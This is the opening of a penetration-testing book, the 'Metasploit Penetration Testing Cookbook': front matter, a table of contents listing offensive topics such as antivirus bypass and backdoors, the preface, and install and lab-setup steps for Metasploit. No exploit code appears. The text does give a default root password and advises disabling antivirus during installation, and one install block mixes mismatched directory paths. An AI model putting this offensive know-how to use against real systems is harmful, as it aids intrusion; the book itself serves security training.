{
"pages": [
{
"page_number": 1,
"text": ""
},
{
"page_number": 2,
"text": "Metasploit \nPenetration Testing \nCookbook\nOver 70 recipes to master the most widely \nused penetration testing framework\nAbhinav Singh\nBIRMINGHAM - MUMBAI\n"
},
{
"page_number": 3,
"text": "Metasploit Penetration Testing Cookbook\nCopyright © 2012 Packt Publishing\nAll rights reserved. No part of this book may be reproduced, stored in a retrieval system, \nor transmitted in any form or by any means, without the prior written permission of the \npublisher, except in the case of brief quotations embedded in critical articles or reviews.\nEvery effort has been made in the preparation of this book to ensure the accuracy of the \ninformation presented. However, the information contained in this book is sold without \nwarranty, either express or implied. Neither the author, nor Packt Publishing, and its dealers \nand distributors will be held liable for any damages caused or alleged to be caused directly \nor indirectly by this book.\nPackt Publishing has endeavored to provide trademark information about all of the companies \nand products mentioned in this book by the appropriate use of capitals. However, Packt \nPublishing cannot guarantee the accuracy of this information.\nFirst published: June 2012\nProduction Reference: 1150612\nPublished by Packt Publishing Ltd. \nLivery Place \n35 Livery Street \nBirmingham B3 2PB, UK.\nISBN 978-1-84951-742-3\nwww.packtpub.com\nCover Image by Asher Wishkerman (a.wishkerman@mpic.de)\n"
},
{
"page_number": 4,
"text": "Credits\nAuthor\nAbhinav Singh\nReviewers\nKubilay Onur Gungor\nKanishka Khaitan\nSachin Raste\nAcquisition Editor\nUsha Iyer\nLead Technical Editor\nAzharuddin Sheikh\nTechnical Editor\nVrinda Amberkar\nProject Coordinator\nLeena Purkait\nProofreader\nLinda Morris\nIndexer\nRekha Nair\nGraphics\nManu Joseph\nProduction Coordinator \nMelwyn D'sa\nCover Work\nMelwyn D'sa\n"
},
{
"page_number": 5,
"text": "About the Author\nAbhinav Singh is a young Information Security Specialist from India. He has a keen \ninterest in the field of Hacking and Network Security. He actively works as a freelancer with \nseveral security companies, and provides them with consultancy. Currently, he is employed \nas a Systems Engineer at Tata Consultancy Services, India. He is an active contributor of the \nSecurityXploded community. He is well recognized for his blog (http://hackingalert.\nblogspot.com), where he shares about his encounters with hacking and network security. \nAbhinav's work has been quoted in several technology magazines and portals.\nI would like to thank my parents for always being supportive and letting me \ndo what I want; my sister, for being my doctor and taking care of my fatigue \nlevel; Sachin Raste sir, for taking the pain to review my work; Kanishka \nKhaitan, for being my perfect role model; to my blog followers for their \ncomments and suggestions, and, last but not the least, to Packt Publishing \nfor making this a memorable project for me.\n"
},
{
"page_number": 6,
"text": "About the Reviewers\nKubilay Onur Gungor currently works at Sony Europe as a Web Application Security \nExpert, and is also one of the Incident Managers for the Europe and Asia regions.\nHe has been working in the IT Security field for more than 5 years. After individual, security \nwork experience, he started his security career with the cryptanalysis of images, which are \nencrypted by using chaotic logistic maps. He gained experience in the Network Security field \nby working in the Data Processing Center of Isik University. After working as a QA Tester in \nNetsparker, he continued his work in the Penetration Testing field, for one of the leading \nsecurity companies in Turkey. He performed many penetration tests for the IT infrastructures \nof many big clients, such as banks, government institutions, and telecommunication \ncompanies. He has also provided security consulting to several software manufacturers \nto help secure their compiled software.\nKubilay has also been developing multidisciplinary, cyber security approaches, \nincluding criminology, conflict management, perception management, terrorism, \ninternational relations, and sociology. He is the Founder of the Arquanum \nMultidisciplinary Cyber Security Studies Society.\nKubilay has participated in many security conferences as a frequent speaker.\nKanishka Khaitan, a postgraduate in Master of Computer Application from the University \nof Pune, with Honors in Mathematics from Banaras Hindu University, has been working in the \nweb domain with Amazon for the past two years. Prior to that, she worked for Infibeam, an \nIndia-based, online retail startup, in an internship program lasting for six months.\n"
},
{
"page_number": 7,
"text": "Sachin Raste is a leading security expert, with over 17 years of experience in the fields of \nNetwork Management and Information Security. With his team, he has designed, streamlined, \nand integrated the networks, applications, and IT processes for some of the big business \nhouses in India, and helped them achieve business continuity.\nHe is currently working with MicroWorld, the developers of the eScan range of Information \nSecurity Solution, as a Senior Security Researcher. He has designed and developed some \npath-breaking algorithms to detect and prevent Malware and Digital Fraud, to safeguard \nnetworks from Hackers and Malware. In his professional capacity, Sachin Raste has presented \nmany whitepapers, and has also participated in many TV shows spreading awareness on \nDigital Frauds.\nWorking with MicroWorld has helped him in developing his technical skills to keep up with the \ncurrent trends in the Information Security industry.\nFirst and foremost, I'd like to thank my wife, my son, and my close group \nof friends for their support, without whom everything in this world would \nhave seemed impossible. To my colleagues from MicroWorld and from past \norganizations, for being patient listeners and assisting me in successfully \ncompleting complex projects; it has been a pleasure working with all of you. \nAnd to my boss, MD of MicroWorld, for allowing me the freedom and space \nto explore beyond my limits. \n \nI thank you all.\n"
},
{
"page_number": 8,
"text": "www.PacktPub.com\nSupport files, eBooks, discount offers and more\nYou might want to visit www.PacktPub.com for support files and downloads related to \nyour book. \nDid you know that Packt offers eBook versions of every book published, with PDF and ePub \nfiles available? You can upgrade to the eBook version at www.PacktPub.com and as a print \nbook customer, you are entitled to a discount on the eBook copy. Get in touch with us at \nservice@packtpub.com for more details.\nAt www.PacktPub.com, you can also read a collection of free technical articles, sign up \nfor a range of free newsletters and receive exclusive discounts and offers on Packt books \nand eBooks.\nhttp://PacktLib.PacktPub.com\nDo you need instant solutions to your IT questions? PacktLib is Packt's online digital book \nlibrary. Here, you can access, read and search across Packt's entire library of books. \nWhy Subscribe?\nf\nf\nFully searchable across every book published by Packt\nf\nf\nCopy and paste, print and bookmark content\nf\nf\nOn demand and accessible via web browser\nFree Access for Packt account holders\nIf you have an account with Packt at www.PacktPub.com, you can use this to access \nPacktLib today and view nine entirely free books. Simply use your login credentials for \nimmediate access.\n"
},
{
"page_number": 9,
"text": ""
},
{
"page_number": 10,
"text": "Dedicated to my grandparents for their blessings. To my parents and sister for their support \nand encouragement, and to my dear friend Neetika for being a motivator.\n-Abhinav Singh\n"
},
{
"page_number": 11,
"text": ""
},
{
"page_number": 12,
"text": "Table of Contents\nPreface\t\n1\nChapter 1: Metasploit Quick Tips for Security Professionals\t\n7\nIntroduction\t\n7\nConfiguring Metasploit on Windows\t\n9\nConfiguring Metasploit on Ubuntu\t\n11\nMetasploit with BackTrack 5 – the ultimate combination\t\n13\nSetting up the penetration testing lab on a single machine\t\n15\nSetting up Metasploit on a virtual machine with SSH connectivity\t\n17\nBeginning with the interfaces – the \"Hello World\" of Metasploit\t\n19\nSetting up the database in Metasploit\t\n21\nUsing the database to store penetration testing results\t\n23\nAnalyzing the stored results of the database\t\n24\nChapter 2: Information Gathering and Scanning\t\n27\nIntroduction\t\n27\nPassive information gathering 1.0 – the traditional way\t\n28\nPassive information gathering 2.0 – the next level\t\n31\nPort scanning – the Nmap way\t\n34\nExploring auxiliary modules for scanning\t\n39\nTarget service scanning with auxiliary modules\t\n42\nVulnerability scanning with Nessus\t\n44\nScanning with NeXpose\t\n47\nSharing information with the Dradis framework\t\n49\nChapter 3: Operating System-based Vulnerability Assessment \nand Exploitation\t\n53\nIntroduction\t\n53\nExploit usage quick tips\t\n54\nPenetration testing on a Windows XP SP2 machine\t\n57\n"
},
{
"page_number": 13,
"text": "ii\nTable of Contents\nBinding a shell to the target for remote access\t\n61\nPenetration testing on the Windows 2003 Server\t\n64\nWindows 7/Server 2008 R2 SMB client infinite loop\t\n67\nExploiting a Linux (Ubuntu) machine\t\n68\nUnderstanding the Windows DLL injection flaws\t\n72\nChapter 4: Client-side Exploitation and Antivirus Bypass\t\n77\nIntroduction\t\n77\nInternet Explorer unsafe scripting misconfiguration vulnerability\t\n79\nInternet Explorer CSS recursive call memory corruption\t\n85\nMicrosoft Word RTF stack buffer overflow\t\n88\nAdobe Reader util.printf() buffer overflow\t\n91\nGenerating binary and shellcode from msfpayload\t\n96\nBypassing client-side antivirus protection using msfencode\t\n99\nUsing the killav.rb script to disable antivirus programs\t\n104\nA deeper look into the killav.rb script\t\n108\nKilling antivirus services from the command line\t\n111\nChapter 5: Using Meterpreter to Explore the Compromised Target\t\n115\nIntroduction\t\n115\nAnalyzing meterpreter system commands\t\n117\nPrivilege escalation and process migration\t\n119\nSetting up multiple communication channels with the target\t\n122\nMeterpreter filesystem commands\t\n124\nChanging file attributes using timestomp\t\n126\nUsing meterpreter networking commands\t\n128\nThe getdesktop and keystroke sniffing\t\n131\nUsing a scraper meterpreter script\t\n135\nChapter 6: Advanced Meterpreter Scripting\t\n139\nIntroduction\t\n139\nPassing the hash\t\n140\nSetting up a persistent connection with backdoors\t\n143\nPivoting with meterpreter\t\n146\nPort forwarding with meterpreter\t\n148\nMeterpreter API and mixins\t\n151\nRailgun – converting Ruby into a weapon\t\n155\nAdding DLL and function definition to Railgun\t\n157\nBuilding a \"Windows Firewall De-activator\" meterpreter script\t\n159\nAnalyzing an existing meterpreter script\t\n163\n"
},
{
"page_number": 14,
"text": "iii\nTable of Contents\nChapter 7: Working with Modules for Penetration Testing\t\n169\nIntroduction\t\n169\nWorking with scanner auxiliary modules\t\n170\nWorking with auxiliary admin modules\t\n173\nSQL injection and DOS attack modules\t\n175\nPost-exploitation modules\t\n178\nUnderstanding the basics of module building\t\n180\nAnalyzing an existing module\t\n182\nBuilding your own post-exploitation module\t\n185\nChapter 8: Working with Exploits\t\n191\nIntroduction\t\n191\nExploiting the module structure\t\n192\nCommon exploit mixins\t\n194\nWorking with msfvenom\t\n195\nConverting exploit to a Metasploit module\t\n197\nPorting and testing the new exploit module\t\n202\nFuzzing with Metasploit\t\n203\nWriting a simple FileZilla FTP fuzzer\t\n206\nChapter 9: Working with Armitage\t\n211\nIntroduction\t\n211\nGetting started with Armitage\t\n212\nScanning and information gathering\t\n214\nFinding vulnerabilities and attacking targets\t\n217\nHandling multiple targets using the tab switch\t\n219\nPost-exploitation with Armitage\t\n221\nClient-side exploitation with Armitage\t\n223\nChapter 10: Social Engineer Toolkit\t\n227\nIntroduction\t\n227\nGetting started with Social Engineer Toolkit (SET)\t\n228\nWorking with the SET config file\t\n229\nSpear-phishing attack vector\t\n233\nWebsite attack vectors\t\n236\nMulti-attack web method\t\n238\nInfectious media generator\t\n239\nIndex\t\n243\n"
},
{
"page_number": 15,
"text": "iv\nTable of Contents\n"
},
{
"page_number": 16,
"text": "Preface\nPenetration testing is one of the core aspects of network security in today's scenario. It \ninvolves a complete analysis of the system by implementing real-life security tests. It helps in \nidentifying potential weaknesses in the system's major components which can occur either in \nits hardware or software. The reason which makes penetration testing an important aspect \nof security is that it helps in identifying threats and weaknesses from a hacker's perspective. \nLoopholes can be exploited in real time to figure out the impact of vulnerability and then a \nsuitable remedy or patch can be explored in order to protect the system from any outside \nattack and reduce the risk factors.\nThe biggest factor that determines the feasibility of penetration testing is the knowledge \nabout the target system. Black box penetration testing is implemented when there is no prior \nknowledge of the target user. A pen-tester will have to start from scratch by collecting every bit \nof information about the target system in order to implement an attack. In white box testing, \nthe complete knowledge about the target is known and the tester will have to identify any \nknown or unknown weakness that may exist. Either of the two methods of penetration testing \nare equally difficult and are environment specific. Industry professionals have identified some \nof the key steps that are essential in almost all forms of penetration testing. These are:\nf\nf\nTarget discovery and enumeration: Identifying the target and collecting basic \ninformation about it without making any physical connection with it\nf\nf\nVulnerability identification: Implementing various discovery methods such as \nscanning, remote login, and network services, to figure out different services and \nsoftware running on the target system\nf\nf\nExploitation: Exploiting a known or an unknown vulnerability in any of the software \nor services running on the target system\nf\nf\nLevel of control after exploitation: This is the level of access that an attacker can \nget on the target system after a successful exploitation\nf\nf\nReporting: Preparing an advisory about the vulnerability and its possible \ncounter measures\n"
},
{
"page_number": 17,
"text": "Preface\n2\nThese steps may appear few in number, but in fact a complete penetration testing of a \nhigh-end system with lots of services running on it can take days or even months to complete. \nThe reason which makes penetration testing a lengthy task is that it is based on the \"trial \nand error\" technique. Exploits and vulnerabilities depend a lot on the system configuration \nso we can never be certain that a particular exploit will be successful or not unless we try \nit. Consider the example of exploiting a Windows-based system that is running 10 different \nservices. A pen-tester will have to identify if there are any known vulnerabilities for those 10 \ndifferent services. Once they are identified, the process of exploitation starts. This is a small \nexample where we are considering only one system. What if we have an entire network of \nsuch systems to penetrate one by one?\nThis is where a penetration testing framework comes into action. They automate several \nprocesses of testing like scanning the network, identifying vulnerabilities based on available \nservices and their versions, auto-exploit, and so on. They speed up the pen-testing process \nby proving a complete control panel to the tester from where he/she can manage all the \nactivities and monitor the target systems effectively. The other important benefit of the \npenetration testing framework is report generation. They automate the process of saving \nthe penetration testing results and generate reports that can be saved for later use, \nor can be shared with other peers working remotely.\nMetasploit Penetration Testing Cookbook aims at helping the readers in mastering one of \nthe most widely used penetration testing frameworks of today's scenarios. The Metasploit \nframework is an open source platform that helps in creating real-life exploitation scenarios \nalong with other core functionalities of penetration testing. This book will take you to an \nexciting journey of exploring the world of Metasploit and how it can be used to perform \neffective pen-tests. This book will also cover some other extension tools that run over the \nframework and enhance its functionalities to provide a better pen-testing experience.\nWhat this book covers\nChapter 1, Metasploit Quick Tips for Security Professionals, is the first step into the world \nof Metasploit and penetration testing. The chapter deals with a basic introduction to the \nframework, its architecture and libraries. In order to begin with penetration testing, we \nneed a setup, so the chapter will guide you through setting up your own dummy penetration \ntesting environment using virtual machines. Later, the chapter discusses about installing \nthe framework on different operating systems. The chapter ends with giving the first taste \nof Metasploit and an introduction about its interfaces.\nChapter 2, Information Gathering and Scanning, is the first step to penetration testing. \nIt starts with the most traditional way of information gathering and later on advances to \nscanning with Nmap. The chapter also covers some additional tools such as Nessus and \nNeXpose which covers the limitations of Nmap by providing additional information. At the \nend, the chapter discusses about the Dradis framework which is widely used by pen-testers \nto share their test results and reports with other remote testers.\n"
},
{
"page_number": 18,
"text": "Preface\n3\nChapter 3, Operating System-based Vulnerability Assessment and Exploitation, talks \nabout finding vulnerabilities in unpatched operating systems running on the target system. \nOperating system-based vulnerabilities have a good success rate and they can be exploited \neasily. The chapter discusses about penetrating several popular operating systems such as \nWindows XP, Windows 7, and Ubuntu. The chapter covers some of the popular, and known, \nexploits of these operating systems and how they can be used in Metasploit to break into a \ntarget machine.\nChapter 4, Client-side Exploitation and Antivirus Bypass, carries our discussion to the next \nstep where we will discuss how Metasploit can be used to perform client-side exploitation. \nThe chapter covers some of the popular client-side software such as Microsoft Office, Adobe \nReader, and Internet Explorer. Later on, the chapter covers an extensive discussion about \nkilling the client-side antivirus protection in order to prevent raising the alarm in the \ntarget system.\nChapter 5, Using Meterpreter to Explore the Compromised Target, discusses about the next \nstep after exploitation. Meterpreter is a post-exploitation tool that has several functionalities, \nwhich can be helpful in penetrating the compromised target and gaining more information. \nThe chapter covers some of the useful penetration testing techniques such as privilege \nescalation, accessing the file system, and keystroke sniffing.\nChapter 6, Advance Meterpreter Scripting, takes our Metasploit knowledge to the next level by \ncovering some advance topics, such as building our own meterpreter script and working with \nAPI mixins. This chapter will provide flexibility to the readers as they can implement their own \nscripts into the framework according to the scenario. The chapter also covers some advance \npost exploitation concepts like pivoting, pass the hash and persistent connection.\nChapter 7, Working with Modules for Penetration Testing, shifts our focus to another \nimportant aspect of Metasploit; its modules. Metasploit has a decent collection of specific \nmodules that can be used under particular scenarios. The chapter covers some important \nauxiliary modules and later on advances to building our own Metasploit modules. The chapter \nrequires some basic knowledge of Ruby scripting.\nChapter 8, Working with Exploits, adds the final weapon into the arsenal by discussing how we \ncan convert any exploit into a Metasploit module. This is an advanced chapter that will enable \nthe readers to build their own Metasploit exploit modules and import it into the framework. \nAs all the exploits are not covered under the framework, this chapter can be handy in case \nwe want to test an exploit that is not there in the Metasploit repository. The chapter also \ndiscusses about fuzzing modules that can be useful in building your own proof of concepts \nfor any vulnerability. Finally, the chapter ends with a complete example on how we can fuzz \nan application to find the overflow conditions and then build a Metasploit module for it.\nChapter 9, Working with Armitage, is a brief discussion about one of the popular Metasploit \nextensions, Armitage. It provides a graphical interface to the framework and enhances its \nfunctionalities by providing point and click exploitation options. The chapter focuses on \nimportant aspects of Armitage, such as quickly finding vulnerabilities, handling multiple \ntargets, shifting among tabs, and dealing with post exploitation.\n"
},
{
"page_number": 19,
"text": "Preface\n4\nChapter 10, Social Engineer Toolkit, is the final discussion of this book which covers yet \nanother important extension of framework. Social Engineer Toolkit (SET) is used to generate \ntest cases that rely on human negligence in order to compromise the target. The chapter \ncovers basic attack vectors related to SET that includes spear phishing, website attack \nvector, generating infectious media such as a USB.\nWhat you need for this book\nTo follow and recreate the recipes of this book, you will need two systems. One can be \nyour pen-testing system and the other can be your target. Alternatively, you can also \nwork with a single system and set up a penetration testing environment by using any \nvirtualization software.\nApart from that you will require an ISO image of BackTrack 5 which has pre-installed \nMetasploit and other tools that we will be discussing in this book. Alternatively, you can \ndownload the Metasploit framework separately for your preferred operating system from \nits official website.\nWho this book is for\nThis book targets both professional penetration testers, as well as new users of Metasploit \nwho are willing to expertise the tool. There is something for everyone. The book has a recipe \nstructure which is easy to read, understand, and recollect. The book starts with the basics of \npenetration testing and later on advances to expert level. The transition from the beginners \nto the advanced level is smooth. So, it can be easily read and understood by readers of all \ncategories. The book requires basic knowledge of scanning, exploitation, and Ruby language.\nConventions\nIn this book, you will find a number of styles of text that distinguish between different kinds \nof information. Here are some examples of these styles, and an explanation of their meaning.\nCode words in text are shown as follows: \" The last two commands, vulns and db_autopwn \nare post-exploitation commands, which we will deal with in later chapters.\"\nA block of code is set as follows:\n# Register command execution options\n register_options(\n [\n OptString.new('USER', [ true, \"The \nusername to create\", \"metasploit\" ]),\n OptString.new('PASS', [ true, \"The \npassword for this user\", \"metasploit\" ]),\n ], self.class)\n"
},
{
"page_number": 20,
"text": "Preface\n5\nAny command-line input or output is written as follows:\n$ chmod +x framework-4.*-linux-full.run\n$ sudo ./framework-4.*-linux-full.run \nNew terms and important words are shown in bold. Words that you see on the screen, \nin menus or dialog boxes for example, appear in the text like this: \" You can either start \nthe Metasploit framework from the Applications menu or from the command line\".\nWarnings or important notes appear in a box like this.\nTips and tricks appear like this.\nReader feedback\nFeedback from our readers is always welcome. Let us know what you think about this \nbook—what you liked or may have disliked. Reader feedback is important for us to develop \ntitles that you really get the most out of.\nTo send us general feedback, simply send an e-mail to feedback@packtpub.com, \nand mention the book title through the subject of your message.\nIf there is a topic that you have expertise in and you are interested in either writing \nor contributing to a book, see our author guide on www.packtpub.com/authors.\nCustomer support\nNow that you are the proud owner of a Packt book, we have a number of things to help you \nto get the most from your purchase.\nDownloading the example code\nYou can download the example code files for all Packt books you have purchased from your \naccount at http://www.packtpub.com. If you purchased this book elsewhere, you can \nvisit http://www.packtpub.com/support and register to have the files e-mailed directly \nto you.\n"
},
{
"page_number": 21,
"text": "Preface\n6\nErrata\nAlthough we have taken every care to ensure the accuracy of our content, mistakes do \nhappen. If you find a mistake in one of our books—maybe a mistake in the text or the \ncode—we would be grateful if you would report this to us. By doing so, you can save other \nreaders from frustration and help us improve subsequent versions of this book. If you find \nany errata, please report them by visiting http://www.packtpub.com/support, selecting \nyour book, clicking on the errata submission form link, and entering the details of your \nerrata. Once your errata are verified, your submission will be accepted and the errata will be \nuploaded to our website, or added to any list of existing errata, under the Errata section of \nthat title.\nPiracy\nPiracy of copyright material on the Internet is an ongoing problem across all media. At Packt, \nwe take the protection of our copyright and licenses very seriously. If you come across any \nillegal copies of our works, in any form, on the Internet, please provide us with the location \naddress or website name immediately so that we can pursue a remedy.\nPlease contact us at copyright@packtpub.com with a link to the suspected \npirated material.\nWe appreciate your help in protecting our authors, and our ability to bring you \nvaluable content.\nQuestions\nYou can contact us at questions@packtpub.com if you are having a problem \nwith any aspect of the book, and we will do our best to address it.\n"
},
{
"page_number": 22,
"text": "1\nMetasploit Quick \nTips for Security \nProfessionals\nIn this chapter, we will cover:\nf\nf\nConfiguring Metasploit on Windows\nf\nf\nConfiguring Metasploit on Ubuntu\nf\nf\nMetasploit with BackTrack 5 – the ultimate combination\nf\nf\nSetting up the penetration testing lab on a single machine\nf\nf\nSetting up Metasploit on a virtual machine with SSH connectivity\nf\nf\nBeginning with the interfaces – the \"Hello World\" of Metasploit\nf\nf\nSetting up the database in Metasploit\nf\nf\nUsing the database to store penetration testing results\nf\nf\nAnalyzing the stored results of the database \nIntroduction\nMetasploit is currently the most buzzing word in the field of information security and penetration \ntesting. It has totally revolutionized the way we can perform security tests on our systems. \nThe reason which makes Metasploit so popular is the wide range of tasks that it can perform \nto ease the work of penetration testing to make systems more secure. Metasploit is available \nfor all popular operating systems. The working process of the framework is almost the same \nfor all of them. Here in this book, we will primarily work on BackTrack 5 OS as it comes with the \npre-installed Metasploit framework and other third-party tools which run over the framework.\n"
},
{
"page_number": 23,
"text": "Metasploit Quick Tips for Security Professionals\n8\nLet us start with a quick introduction to the framework and the various terminologies related \nto it:\nf\nf\nMetasploit framework: It is a free, open source penetration testing framework \nstarted by H. D. Moore in 2003 which was later acquired by Rapid7. The current \nstable versions of the framework are written using the Ruby language. It has \nthe world's largest database of tested exploits and receives more than a million \ndownloads every year. It is also one of the most complex projects built in Ruby \nto date.\nf\nf\nVulnerability: It is a weakness which allows an attacker/pen-tester to break \ninto/compromise a system's security. This weakness can either exist in the \noperating system, application software, or even in the network protocols.\nf\nf\nExploit: Exploit is a code which allows an attacker/tester to take advantage of \nthe vulnerable system and compromise its security. Every vulnerability has its \nown corresponding exploit. Metasploit v4 has more than 700 exploits.\nf\nf\nPayload: It is the actual code which does the work. It runs on the system after \nexploitation. They are mostly used to set up a connection between the attacking \nand the victim machine. Metasploit v4 has more than 250 payloads.\nf\nf\nModule: Modules are the small building blocks of a complete system. Every module \nperforms a specific task and a complete system is built up by combining several \nmodules to function as a single unit. The biggest advantage of such an architecture \nis that it becomes easy for developers to integrate a new exploit code and tools into \nthe framework.\nThe Metasploit framework has a modular architecture and the exploits, payload, encoders, \nand so on are considered as separate modules.\nMetasploit Architecture\nLIBRARIES\nTOOLS\nPLUGINS\nINTERFACES\nRex\nMSF Core\nMSF Base\nConsole\nCLI\nWeb\nGUI\nMODULES\nPayloads\nExploits\nEncoders\nNops\nAux\nLet us examine the architecture diagram closely.\n"
},
{
"page_number": 24,
"text": "Chapter 1\n9\nMetasploit uses different libraries which hold the key to the proper functioning of the \nframework. These libraries are a collection of pre-defined tasks, operations, and functions \nthat can be utilized by different modules of the framework. The most fundamental part of \nthe framework is the Ruby Extension (Rex) library. Some of the components provided by \nRex include a wrapper socket subsystem, implementations of protocol clients and servers, \na logging subsystem, exploitation utility classes, and a number of other useful classes. \nRex itself is designed to have no dependencies, other than what comes with the default \nRuby installation.\nThen we have the MSF Core library which extends Rex. Core is responsible for implementing \nall of the required interfaces that allow for interacting with exploit modules, sessions, and \nplugins. This core library is extended by the framework base library which is designed to \nprovide simpler wrapper routines for dealing with the framework core, as well as providing \nutility classes for dealing with different aspects of the framework, such as serializing a module \nstate to different output formats. Finally, the base library is extended by the framework's \nUser Interface (UI) that implements support for the different types of user interfaces to the \nframework itself, such as the command console and the web interface.\nThere are four different user interfaces provided with the framework namely msfconsole, \nmsfcli, msfgui, and msfweb. It is highly encouraged that one should check out all these \ndifferent interfaces, but in this book we will primarily work on the msfconsole interface. The \nreason behind it is that msfconsole provides the best support to the framework, leveraging \nall the functionalities.\nLet us now move to the recipes of this chapter and practically analyze the various aspects.\nConfiguring Metasploit on Windows\nInstallation of the Metasploit framework on Windows is simple and requires almost no \neffort. The framework installer can be downloaded from the Metasploit official website \n(http://www.metasploit.com/download).\nGetting ready\nYou will notice that there are two types of installer available for Windows. It is recommended \nto download the complete installer of the Metasploit framework which contains the console \nand all other relevant dependencies, along with the database and runtime setup. In case you \nalready have a configured database that you want to use for the framework as well, then \nyou can go for the mini installer of the framework which only installs the console \nand dependencies.\n"
},
{
"page_number": 25,
"text": "Metasploit Quick Tips for Security Professionals\n10\nHow to do it...\nOnce you have completed downloading the installer, simply run it and sit back. It will \nautomatically install all the relevant components and set up the database for you. Once the \ninstallation is complete, you can access the framework through various shortcuts created by \nthe installer.\nHow it works...\nYou will find that the installer has created lots of shortcuts for you. Most of the things are \nclick-and-go in a Windows environment. Some of the options that you will find are Metasploit \nweb, cmd console, Metasploit update, and so on.\nWhile installing Metasploit on Windows, you should disable the \nantivirus protection as it may detect some of the installation files as \npotential viruses or threats and can block the installation process. \nOnce the installation is complete, make sure that you have white-listed \nthe framework installation directory in your antivirus, as it will detect \nthe exploits and payloads as malicious.\nThere's more...\nNow let's talk about some other options, or possibly some pieces of general information, \nthat are relevant to installing the Metasploit framework on Windows explicitly.\nDatabase error during installation\nThere is a common problem with many users while installing the Metasploit framework on the \nWindows machine. While running the setup you may encounter an error message, as shown in \nthe screenshot:\n"
},
{
"page_number": 26,
"text": "Chapter 1\n11\nThis is the result of an error in configuring the PostgreSQL server. The possible causes are:\nf\nf\nPostgreSQL not running. Use Netstat to figure out if the port is open and the database \nis running.\nf\nf\nSome installers require a default installation path. For example, if the default path is \nC drive, changing it to D drive will give this error.\nf\nf\nLanguage encoding.\nIf you face this problem then you can overcome it by downloading the simpler version of the \nframework which contains only the console and dependencies. Then, configure the database \nmanually and connect it with Metasploit.\nConfiguring Metasploit on Ubuntu\nThe Metasploit framework has full support for Ubuntu-based Linux operating systems. \nThe installation process is a bit different from that of Windows.\nGetting ready\nDownload the setup from the official Metasploit website (http://www.metasploit.com/\ndownload).\nAgain, you will have the option to choose either a minimal setup or full setup. Choose your \ndownload according to your need. The full setup will include all the dependencies, database \nsetup, environment etc whereas the minimal setup will only contain the dependencies with \nno database setup.\nHow to do it...\nThe process for installing a full setup is a bit different from a minimal setup. Let us analyze \neach of them:\nf\nf\nFull installer: You will need to execute the following commands to install the \nframework on your Ubuntu machine:\n$ chmod +x framework-4.*-linux-full.run\n$ sudo ./framework-4.*-linux-full.run \nf\nf\nMinimal installer: You will need to execute the following commands to install the \nframework with minimal options:\n$ chmod +x framework-4.*-linux-mini.run\n$ sudo ./framework-4.*-linux-mini.run\n"
},
{
"page_number": 27,
"text": "Metasploit Quick Tips for Security Professionals\n12\nHow it works...\nThe installation process demonstrated above is a simple Ubuntu-based installation procedure \nfor almost all software. Once the installation is complete, you can run hash –r to reload \nyour path.\nThis installation process can be followed on almost all \nflavors and versions of Linux.\nThere's more...\nNow let's talk about some other options, or possibly some pieces of general information that \nare relevant to this task.\nError during installation\nThere can be chances that the installer may not work for you for some reason. Some versions \nof Ubuntu come with broken libraries of the Ruby language, which may be one of the reasons \nfor the installation failure. In that case, we can install the dependencies separately by \nexecuting the following commands:\nFor installing Ruby dependencies run:\n$ sudo apt-get install ruby libopenssl-ruby libyaml-ruby libdl-ruby \nlibiconv-ruby libreadline-ruby irb ri rubygems\nFor installing the subversion client run:\n$ sudo apt-get install subversion\nFor building native extensions run:\n$ sudo apt-get install build-essential ruby-dev libpcap-dev\n"
},
{
"page_number": 28,
"text": "Chapter 1\n13\nAfter installing the following dependencies, download the Metasploit Unix tarball from \nthe official Metasploit download page and execute the following commands:\n$ tar xf framework-4.X.tar.gz\n$ sudo mkdir -p /opt/metasploit4\n$ sudo cp -a msf4/ /opt/metasploit3/msf4\n$ sudo chown root:root -R /opt/metasploit4/msf4\n$ sudo ln -sf /opt/metasploit3/msf3/msf* /usr/local/bin/\nOn successful execution of the preceding commands, the framework will be up and running \nto receive your instructions.\nMetasploit with BackTrack 5 – the ultimate \ncombination\nBackTrack is the most popular operating system for security professionals for two reasons. \nFirstly, it has all the popular penetration testing tools pre-installed in it so it reduces the cost \nof a separate installation. Secondly, it is a Linux-based operating system which makes it less \nprone to virus attacks and provides more stability during penetration testing. It saves your \ntime from installing relevant components and tools and who knows when you may encounter \nan unknown error during the installation process.\nGetting ready\nEither you can have a separate installation of BackTrack on your hard disk or you can also \nuse it over a host on a virtual machine. The installation process is simple and the same as \ninstalling any Linux-based operating system.\nHow to do it...\n1.\t On booting the BackTrack OS, you will be asked to enter the username and password. \nThe default username for the root user is root and the password is toor.\n2.\t On successful login, you can either work over the command line or enter startx to \nenter in the GUI mode.\n"
},
{
"page_number": 29,
"text": "Metasploit Quick Tips for Security Professionals\n14\n3.\t You can either start the Metasploit framework from the Applications menu or \nfrom the command line. To launch Metasploit from the Applications menu go to \nApplications | BackTrack | Exploitation Tools | Network Exploitation Tools | \nMetasploit Framework, as shown in the following screenshot:\n4.\t Metasploit follows a simple directory structure hierarchy where the root folder is \npentest. The directory further branches to /exploits/framework3. To launch \nMetasploit from the command line, launch the terminal and enter the following \ncommand to move to the Metasploit directory:\nroot@bt:~# cd /pentest/exploits/framework3\nroot@bt:/pentest/exploits/framework3 ~# ./msfconsole\nHow it works...\nLaunching Metasploit from the command line will follow the complete path to msfconsole. \nLaunching it from the Application menu will provide us a direct access to different UIs \navailable to us.\n"
},
{
"page_number": 30,
"text": "Chapter 1\n15\nSetting up the penetration testing lab on a \nsingle machine\nYou can always have a penetration testing lab set up by using multiple machines and it is \nconsidered the ideal setup as well. But what if you have an emergency and you immediately \nneed to set up a testing scenario and you only have a single machine? Well using a virtual \nmachine is the obvious answer. You can work simultaneously on more than one operating \nsystem and perform the task of penetration testing. So let us have a quick look at how we \ncan set up a penetration testing lab on a single system with the help of a virtual machine.\nGetting ready\nWe will be using a virtual box to set up two virtual machines with BackTrack 5 and Windows \nXP SP2 operating systems. Our host system is a Windows 7 machine. We will need the virtual \nbox installer and either an image file or an installation disk of the two operating systems \nwe want to set up in the virtual machine. So our complete setup will consist of a host \nsystem running Windows 7 with two virtual systems running BackTrack 5 and Windows \nXP SP2 respectively.\nHow to do it...\nThe process of installing a virtual machine is simple and self-explanatory. Follow these steps:\n1.\t After installing the virtual box, create a new virtual machine. Select the \nappropriate options and click on Next. You will have to provide an installation \nmedium to start the setup. The medium can either be an image file or installation \ndisk. For a complete manual on a virtual machine and installation procedure, \n you can visit the following link:\nhttp://www.virtualbox.org/manual/UserManual.html\n2.\t For a better virtual machine performance, it is recommended to have at least 4 GB \nof available RAM for a 32-bit operating system and 8 GB RAM for 64-bit. In the next \nrecipe, I will show you a cool way to bring down your memory usage while 